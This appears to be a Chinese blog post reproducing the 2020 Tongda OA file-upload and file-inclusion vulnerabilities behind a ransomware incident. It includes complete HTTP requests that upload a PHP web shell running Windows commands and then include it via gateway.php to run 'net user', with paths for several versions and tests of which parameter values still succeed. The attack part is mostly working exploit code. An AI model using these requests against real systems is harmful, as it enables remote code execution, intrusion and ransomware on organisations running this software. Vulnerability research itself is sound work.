通达OA是由北京通达信科科技有限公司研发的一款通用型OA产品,涵盖了个人事务、行政办公、流程审批、知识管理、人力资源管理、组织机构管理等企业信息化管理功能。
2020年03月18日, 360CERT监测发现通达OA官方在03月13日发布了针对勒索病毒事件的紧急更新。根据分析该事件是通达OA中存在的两枚漏洞(文件上传漏洞,文件包含漏洞)所导致。
今日参考了木子大佬在freebuf发表的一篇关于通达OA的漏洞复现,对其中关于任意文件上传漏洞的POC四个构造条件很感兴趣,因此记录下漏洞复现后的心得。
漏洞的Poc的构造需要满足四个条件: P非空、DEST_UID非空且为数字、UPLOAD_MODE为1或2或3、ATTACHMENT的filename后缀名不能为php
2.1. 漏洞环境搭建
此次选择通达OA2019版,小弟再次附上百度云地址:链接:https://pan.baidu.com/s/1gb1LIJIxMrQdVo_rHkab3g 密码:mjcj
由于通达OA不同版本的文件包含URI路径不同,再此作如下说明
- 2013版本:
- 文件上传路径:/ispirit/im/upload.php
- 文件包含路径:/ispirit/interface/gateway.php
- 2017版本:
- 文件上传路径:/ispirit/im/upload.php
- 文件包含路径:/mac/gateway.php
- 2019版本:
- 文件上传路径:/ispirit/im/upload.php
- 文件包含路径:/ispirit/interface/gateway.php
下载通达OA软件包后,一直next到底即可安装完成。
需要注意的是,安装完后,在本地浏览器能正常访问,但从其他浏览器访问不了的话,可能是windows自带防火墙的原因,需要关闭windows防火墙。
2.2. 复现过程
在此仅对任意文件上传漏洞的四个条件作深入了解,根据木子大佬的文章,上传漏洞的条件是
- P非空
- DEST_UID非空且为数字
- UPLOAD_MODE为1或2或3
- ATTACHEMENT的filename后缀不能为php
任意文件上传POC代码如下
POST /ispirit/im/upload.php HTTP/1.1
Host: 10.211.55.3
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
任意文件包含的POC如下:
POST /mac/gateway.php HTTP/1.1
Host: 10.10.20.116:88
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 71
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2003/938379153.jpg"}&cmd=net user
当其他参数不变,P参数置为空时,重放仍可以成功
接下来,在P为空时,将DEST_UID置为空,重放仍可成功上传文件
现在将DEST_UID置为“aa”字符串,重放仍可成功
现在将DEST_UID还置为空,将UPLOAD_MODE置为1,重放失败
将UPLOAD_MODE置为3,重放失败
将UPLOAD_MODE置为4,重放失败
因此upload_mode必须置为2
先将
P置为空,
Upload_mode=2
DEST_UID置为空
将attachement的filename参数置为asp,重放失败
将filename参数置为"aaa",重放成功
将filename="mp4",重放成功
从上传目录可以看之前上传的文件
下面利用文件包含漏洞包含上面的mp4格式的文件,发包试试
2.3. 总结
针对通达OA2019.09.11版系统,进行文件上传和文件包含导致的RCE漏洞的实践,发现在文件上传时候,对4个参数的限制总结如下:
- P参数可为空
- DEST_UID可为空
- UPLOAD_MODE仅能为2
- ATTACHEMENT的filename参数不能是asp,其他例如aaa,mp4,xxx等都行